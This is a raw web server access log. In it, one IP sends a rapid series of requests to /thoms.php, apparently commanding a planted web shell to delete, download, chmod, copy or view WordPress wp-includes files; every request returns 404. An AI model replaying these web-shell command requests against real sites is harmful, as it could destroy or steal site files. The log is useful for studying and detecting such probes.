45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?del=default-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?del=error_log&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fcustomize HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fcustomize" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?del=class-wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?del=error-protection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=view-config.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=view-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?chmod=class-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-inline.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?dl=abilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?chmod=category.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:10 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?del=block-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?dl=kses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?dl=l10n.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?del=option.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=option.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?del=class-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcompat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcompat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:11 -0400] "GET /thoms.php?del=theme-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?del=block-template-utils.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblocks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblocks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?dl=class-walker-page.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-default-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?dl=class-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?del=script-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftemplate-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:13 -0400] "GET /thoms.php?dl=theme-templates.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
